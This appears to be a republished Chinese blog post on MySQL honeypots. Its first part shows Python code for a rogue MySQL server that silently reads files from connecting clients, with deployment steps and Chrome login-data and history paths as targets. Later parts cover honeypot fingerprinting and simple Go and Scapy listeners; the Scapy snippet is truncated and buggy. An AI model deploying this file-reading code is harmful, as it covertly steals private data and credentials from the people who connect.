核心代码分析

核心代码分析

下面的代码主要有两个作用

  1. 判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
  2. 如果是直接连接,去读取设定好的文件,并写入本地保存。
    这些函数用于从MySQL数据库中获取指定文件的内容。它接收一个文件名、连接和地址作为输入参数。它创建一个日志目录,用于存储获取到的文件内容。它通过连接发送和接收数据,以检索文件内容。如果检索到的内容大于6个字节,则将其写入日志目录中的文件,并返回一个包含True值和内容的元组。否则,返回一个包含False值和内容的元组。
def mysql_get_file_content(filename,conn,address):logpath = os.path.abspath('.') + "/log/" + address[0]if not os.path.exists(logpath):os.makedirs(logpath)conn.sendall("xxx")try:conn.recv(1024000)except Exception as e:print(e)try:conn.sendall("xx")res1 = conn.recv(1024000)# SHOW VARIABLESif 'SHOW VARIABLES' in res1:conn.sendall("xxx")res2 = conn.recv(9999)if 'SHOW WARNINGS' in res2:conn.sendall("xxx")res3 = conn.recv(9999)if 'SHOW COLLATION' in res3:conn.sendall("xxx")res4 = conn.recv(9999)if 'SET NAMES utf8' in res4:conn.sendall("xxx")res5 = conn.recv(9999)if 'SET character_set_results=NULL' in res5:conn.sendall("xxx")conn.close()else:conn.close()else:conn.close()else:conn.close()else:try:wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content=''while True:data = conn.recv(1024)print len(data)content += dataif len(data) < 1024:print 'ok'breakconn.close()item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())if len(content) > 6:with open(item, "w") as f:f.write(content)f.close()return (True,content)else:return (False,content)except Exception as e:print (e)except Exception as e:print (e)

为防止读取文件内容不完整,可以加入while循环。

while True:conn, address = sv.accept()first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")global files1global usernameglobal wx_idfile=files1[0].replace('Administrator',username).replace('wx_id',wx_id)res,content = mysql_get_file_content(file,conn,address)files1.append(files1[0])files1.remove(files1[0])if res:if 'PFRO' in file:username = get_username(content)s= "xx" % (xx)cursor.execute(s)data = cursor.fetchall()if len(data)==0:s = "XX" % (xx)cursor.execute(s)db.commit()print 'success:'+ fileinsert_file(file,address,username)elif 'config.data'in file:content = contentwxid = re.findall(r'WeChatFiles\(.*)\config', content)[0]sql = "xxx" % (xxx)cursor.execute(sql)db.commit()wx_id=wxidimg = qrcode.make('weixin://contacts/profile/'+wxid)img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') print 'success:'+ fileinsert_file(file,address,username)elif 'AccInfo' in file:content = contentphone = re.findall(r'[0-9]{11}', content)[-1]sql = "xxx" % (xxx)cursor.execute(sql)db.commit()print 'success:'+ fileinsert_file(file,address,username)else:files1=filesusername='Administrator'

部署方法:

先把代码放入vps中或者机器里面。
然后修改webServer.py中admin的密码,当然,你也可以更换用户名,这个根据个人习惯来修改。
可以通过docker启用服务,运行本项目

使用方法

攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。

 

攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址

读取Chrome账号和历史记录

在这里看到当前反制可以理解为一个ssrf了,可以下载电脑中的大部分文件,具体的有:
chrome的login data,虽然无法解密出密码,但是还是可以获取到对方的一些账号的
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login Data’
chrome的历史记录
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/History

MYsql蜜罐识别

协议识别

蜜罐识别中的协议实现识别是指通过分析网络流量中的协议实现细节来识别蜜罐系统。蜜罐系统可能会模拟一些协议或服务,攻击者可能会试图与这些模拟的协议进行交互。通过分析网络流量中的协议实现细节,可以发现一些不寻常的特征,这些特征可能表明某个协议是由蜜罐系统实现的。
以下是一些可能的协议实现识别技术:
● 协议字段:蜜罐系统可能会使用一些不寻常的协议字段或值,这些字段或值可能在真实系统中不常见。
● 协议行为:蜜罐系统可能会对协议的行为做出不寻常的响应或行为,如不寻常的错误消息或虚假的响应。
● 协议版本:蜜罐系统可能会使用一些不寻常的协议版本,这些版本可能在真实系统中不常见。
● 协议实现的缺陷:蜜罐系统可能会模拟一些协议实现的缺陷,这些缺陷可能在真实系统中不存在。
● 协议实现的限制:蜜罐系统可能会模拟一些协议实现的限制,这些限制可能在真实系统中不存在。

 

环境特征

蜜罐识别中的环境特征是指蜜罐系统本身或其周围环境中的一些特征,这些特征可能与真实系统或服务不同,从而可以用于识别蜜罐系统。以下是一些可能的蜜罐环境特征:
● 开放的端口或服务:蜜罐通常会模拟一些常见的开放端口或服务,攻击者可能会扫描这些端口或服务,从而暴露蜜罐系统。
● 不寻常的操作系统或版本:蜜罐系统可能使用一些不寻常的操作系统或版本,攻击者可能会注意到这些差异。
● 不寻常的软件或配置:蜜罐系统可能使用一些不寻常的软件或配置,攻击者可能会注意到这些差异。
● 不寻常的文件或目录结构:蜜罐系统可能具有一些不寻常的文件或目录结构,攻击者可能会注意到这些差异。
● 不寻常的响应或行为:蜜罐系统可能会对攻击者的行为做出不寻常的响应或行为,这可能会引起攻击者的怀疑。
● 额外的网络流量:蜜罐系统可能会生成额外的网络流量,如虚假的响应或日志信息,这可能会引起攻击者的注意。
部分蜜罐的用户名、密码固定,或内存使用、进程占用等动态特征变化较为规律,可以通过这种方式来判断是否为蜜罐。

指纹识别

  1. 蜜罐很多都是模拟响应
  2. 某个蜜罐很火很多人去用
  3. 既然是模拟那就一定会是代码模拟
  4. 有代码模拟==一定存在有规律的响应
  5. 有规律的响应== 可以总结出指纹
  6. 总结出指纹 == 被网络测绘系统识别
  7. 蜜罐魔改 改变模拟的响应 接着跳回2.

 

其它方法

还有就是benchen师傅写的一些识别方法
浅谈Mysql蜜罐识别

通过ThreadId 识别蜜罐

在正常的数据库中,ThreadId是非常大的,而且几乎增长速度很快。
在蜜罐中就不是如此了,我们通过多次GetServerInfo,发现Hfish的ThreadId是不变的。
有时边缘遗忘的数据库ThreadId增长速度很慢,这并不代表这个数据库是一个蜜罐。
我们可以通过这个特点来进行识别。

通过Salt(盐) 识别蜜罐

正常的数据库,Salt(盐) 每次请求都会有变化的。
而部分蜜罐是没有这个所谓的变化,每次请求都相同。
如果你遇到一个多次请求 Salt(盐) 是一样的,那你可要注意了,这台数据库百分之百是一个蜜罐。

通过Mysql拉黑机制来判断目标是否为蜜罐

在某塔以及官网安装的Mysql,默认的连接错误拉黑次数是15。
在连接错误次数到15时,再次请求Mysql服务器,服务器会向你发送一个错误代码:1129。
准确率:配合ThreadId可以达到百分之80。

通过登录验证识别蜜罐

有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的。
常见的有,Mysql读取客户端任意文件并且没有实现认证的如下:
GitHub - Gifts/Rogue-MySql-Server: Rogue MySql Server
HFish: HFish 是一款基于 Golang 开发的跨平台多功能主动诱导型蜜罐框架系统,为了企业安全防护测试做出了精心的打造
特点就是输入任意用户名和密码都会显示登录成功。


 

蜜罐的开发:

python开发

  1. 选择蜜罐类型:根据需要选择合适的蜜罐类型,如网络蜜罐、系统蜜罐、应用程序蜜罐等。
  2. 设计蜜罐架构:设计蜜罐系统的架构,包括模拟的系统或服务、可用的协议、数据收集和分析等方面。
  3. 实现蜜罐功能:使用Python编写代码实现蜜罐的功能,如模拟协议、收集攻击数据、生成报告等。
  4. 选择合适的Python库:使用Python库可以简化蜜罐的开发过程,如Scapy用于网络流量分析、PyQt用于图形用户界面设计、Pandas用于数据分析等。
  5. 实现数据收集和分析:使用Python编写代码实现数据收集和分析功能,如将攻击数据保存到数据库、使用机器学习算法分析攻击模式等。
  6. 测试和优化:对蜜罐进行测试和优化,发现和修复漏洞,提高蜜罐的可用性和安全性。
    Twisted 是一个基于事件的互联网应用程序框架,支持 Python 3.6+。它包括用于许多不同目的的模块,包括:
    ● twisted.web: HTTP 客户端和服务器、HTML 模板和 WSGI 服务器
    ● twisted.conch: SSHv2 和 Telnet 客户端和服务器以及终端仿真器
    ● twisted.words:用于 IRC、XMPP 和其他 IM 协议的客户端和服务器
    ● twisted.mail: IMAPv4、POP3、SMTP 客户端和服务器
    ● twisted.positioning: 与 NMEA 兼容的 GPS 接收器通信的工具
    ● twisted.names: DNS 客户端和工具,用于制作您自己的 DNS 服务器
    ● twisted.trial:与基于 Twisted 的代码很好地集成的单元测试框架。
    只需要在对应的位置返回模拟端口服务的响应即可完成低交互

FTP蜜罐

package mainimport ("fmt""net"
)func main() {port := 8080// 监听端口listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port))if err != nil {panic(err)}defer listener.Close()fmt.Printf("Listening on port %d...\n", port)// 接受连接for {conn, err := listener.Accept()if err != nil {fmt.Printf("Failed to accept connection: %s\n", err)continue}// 处理连接go handleConnection(conn)}
}func handleConnection(conn net.Conn) {// 记录连接信息remoteAddr := conn.RemoteAddr().String()fmt.Printf("Connection from %s\n", remoteAddr)// 读取数据buf := make([]byte, 1024)n, err := conn.Read(buf)if err != nil {fmt.Printf("Failed to read data from %s: %s\n", remoteAddr, err)return}// 打印数据fmt.Printf("Data from %s: %s\n", remoteAddr, string(buf[:n]))// 关闭连接conn.Close()
}

可以监听端口8080,并记录所有连接信息。可以根据需要扩展该代码,添加攻击检测和响应功能,以实现网络蜜罐的基本功能。

总结:

攻击:

防御:

  1. 设计蜜罐架构:本例中,我们将使用Python和Scapy库实现一个网络蜜罐,模拟一个FTP服务器。我们将收集攻击者的IP地址、用户名和密码,并将它们保存到一个数据库中。
  2. 实现蜜罐功能:我们使用Python编写代码实现蜜罐的功能。具体来说,我们使用Scapy库编写代码来监听FTP流量,解析FTP命令和参数,记录攻击者的IP地址、用户名和密码,并将它们保存到一个SQLite数据库中。以下是代码示例:
    from scapy.all import *def handle_ftp(pkt):if pkt.haslayer(TCP) and pkt.haslayer(Raw):if pkt[TCP].dport == 21:data = pkt[Raw].load.decode('utf-8', errors='ignore')if 'USER' in data:username = data.split('USER ')[1].strip()print('Username: {}'.format(username))elif 'PASS' in data:password = data.split('PASS ')[1].strip()print('Password: {}'.format(password))attacker_ip = pkt[IP].srcsave_to_db(attacker_ip, username, password)def save_to_db(ip, username, password):conn = sqlite3.connect('attacks.db')c = conn.cursor()c.execute('INSERT INTO attacks (ip, username, password) VALUES (?, ?, ?)', (ip, username, password))conn.commit()conn.close()if __name__ == '__main__':sniff(filter='tcp', prn=handle

    go开发

  3. 选择蜜罐类型:网络蜜罐。
  4. 设计蜜罐架构:蜜罐由以下模块组成:
    ● 捕获模块:监听网络流量,识别攻击流量,并将攻击流量发送给分析模块。
    ● 分析模块:对攻击流量进行分析,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:根据分析结果,生成虚假响应,向攻击者发送虚假数据,同时记录攻击行为和攻击者信息。
  5. 开发蜜罐程序:
    ● 捕获模块:使用Go语言编写网络监听程序,监听指定端口的网络流量,并识别攻击流量。
    ● 分析模块:使用Go语言编写攻击流量分析程序,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:使用Go语言编写虚假响应生成程序,根据分析结果生成虚假数据,并向攻击者发送虚假数据。
  6. 集成第三方组件:蜜罐集成了MySQL数据库,用于存储攻击日志和攻击者信息。
  7. 测试和优化:进行系统测试和性能优化,确保蜜罐的稳定性和可靠性。
    监听8080端口
    ,该蜜罐可以监听端口并记录所有连接:
  8. SQL注入攻击:攻击者通过构造恶意SQL语句,来获取敏感数据或控制数据库服务器。防御措施包括使用参数化查询、限制数据库用户权限、过滤输入数据等。
  9. 暴力破解攻击:攻击者通过暴力破解密码的方式,来获取数据库服务器的访问权限。防御措施包括使用强密码、限制登录次数、启用多因素认证等。
  10. 信息泄露攻击:攻击者通过获取数据库服务器的信息,来了解数据库服务器的结构和配置,以便进行下一步攻击。防御措施包括限制数据库用户权限、禁止远程访问、启用SSL加密等。
  11. 加强安全配置:在MySQL蜜罐中,需要加强安全配置,比如限制数据库用户权限、禁用远程访问、限制登录次数等。
  12. 监控攻击行为:在MySQL蜜罐中,需要实时监控攻击行为,比如记录攻击日志、分析攻击特征等。
  13. 响应攻击行为:在MySQL蜜罐中,需要及时响应攻击行为,比如生成虚假数据、发送警报信息等。
  14. 更新和升级:在MySQL蜜罐中,需要定期更新和升级系统和软件,以保持安全性和稳定性。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/670332.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3D+仿真分析:高效实现海底石油管道系统设计

Bentley AutoPIPE 助力节省寻找更佳管道路线所需的时间和成本 评估管道完整性以提高石油产量 从墨西哥湾浅水区开采石油通常需要铺设新的海底管道&#xff0c;从而在高压和高温条件下高效、安全地输送原油。 Grupo EspecializadoenObras Marinas (GEOMSA) 是墨西哥湾管道—土体…

iOS ------ JSONModel源码

一&#xff0c;JSONModel的基本使用 1&#xff0c;基本使用方法 - (instancetype)initWithDictionary:(NSDictionary *)dict error:(NSError **)err; - (instancetype)initWithData:(NSData *)data error:(NSError **)error; - (instancetype)initWithString:(NSString *)str…

239 基于matlab的EKF(扩展卡尔曼滤波)_UKF(无迹卡尔曼滤波)_PF(粒子滤波)三种算法的估计结果比较

基于matlab的EKF(扩展卡尔曼滤波)_UKF(无迹卡尔曼滤波)_PF&#xff08;粒子滤波&#xff09;三种算法的估计结果比较&#xff0c;输出估计误差&#xff0c;并单独对粒子滤波进行估计及其置信区间可视化。程序已调通&#xff0c;可直接运行。 239 EKF(扩展卡尔曼滤波) - 小红书 …

Linux中gcc/g++的使用

文章目录 前言gcc/g 前言 gcc和g即为编译器。其中gcc为c语言的编译器&#xff0c;只能编译c语言&#xff1b;g为c的编译器&#xff0c;既能编译c语言&#xff0c;又能编译c。 在前面的文章中&#xff0c;我们提到代码转换成可执行程序需要经过 预处理&#xff08;进行宏替换)…

Transformer全流程细致讲解

文章目录 1. Transformer 架构概述2. 编码器&#xff08;Encoder&#xff09;2.1 输入嵌入层&#xff08;Input Embedding Layer&#xff09;2.1.1 一个简单的示例 2.2 位置编码&#xff08;Positional Encoding&#xff09;2.2.1 Transformer中采用的位置编码方式2.2.2 公式中…

创新指南|组织健康仍然是企业创新长期绩效的关键

麦肯锡关于组织健康的最新调查结果表明&#xff0c;它仍然是当今全球市场中价值创造的最佳预测者和竞争优势的可持续来源。在本文中&#xff0c;我们将探讨最新的 OHI 结果&#xff0c;并重点介绍该指数揭示的有关领导力、数据和技术以及人才管理的一些更引人注目的见解。我们还…

uniapp文本框上下滚动问题

一个基本需求&#xff0c;textarea标签没有办法通过手拖动的方式进行滚动&#xff0c;当文字超出其容量后&#xff0c;想要编辑上面被遮挡部分的文字这边难以点到&#xff0c;电脑可以鼠标滚轮&#xff0c;但手机需要拖动但无效&#xff1a; 下面提供了我的解决思路&#xff1a…

CUDA调整指令级原语

在GPU上运行的运算密集型应用程序&#xff0c;处理器的计算吞吐量可以用它在一段时间内执行操作的数量来衡量。因为GPU有很多SIMT指令和计算核心&#xff0c;所以其峰值计算吞吐量通常比其他的处理器高。 对应用程序的吞吐量和正确性进行优化时&#xff0c;理解不同低级原语的…

体育老师工资高吗,奖金有吗

教师的薪资水平与多种因素相关&#xff0c;包括教育经验、工作地点、学校类型以及个人的教学成果等。在讨论体育教师的工资问题时&#xff0c;不能仅仅关注数字&#xff0c;更应了解教育价值和个人发展。 初中体育教师的工资水平受多种因素影响。根据网络统计的数据&#xff0c…

SuperMap GIS基础产品FAQ集锦(20240429)

一、SuperMap iServer 问题1&#xff1a;咨询一下&#xff0c;正式许可插上后&#xff0c;出现这样的提示。可能是哪方面的原因呢&#xff1f; 11.1.1 【问题原因】虚拟机环境读取USB设别需要设置USB映射 【解决办法】虚拟平台重新进行USB映射操作后能正常读取许可 问题2&a…

[性能优化] ScrollView视图优化为循环列表

问题描述&#xff1a; 原先商城的物品栏中的item 是load在一个scrollView 下&#xff0c;用于滑动查看。仅仅在父级panel下是使用了NGUI原生的scrollview 组件&#xff0c;随着商场物品列表中新物品的增多。panel下加载的实例也非常庞大。而大部分的实例用户也无法看到&#x…

机器学习——2.损失函数loss

基本概念 损失函数也叫代价函数。损失函数就是计算预测结果和实际结果差距的函数&#xff0c;机器学习的过程就是试图将损失函数的值降到最小。 图左&#xff1a;&#xff5c;t_p - t_c&#xff5c; 图右&#xff1a;&#xff08;t_p - t_c&#xff09;**2 代码实…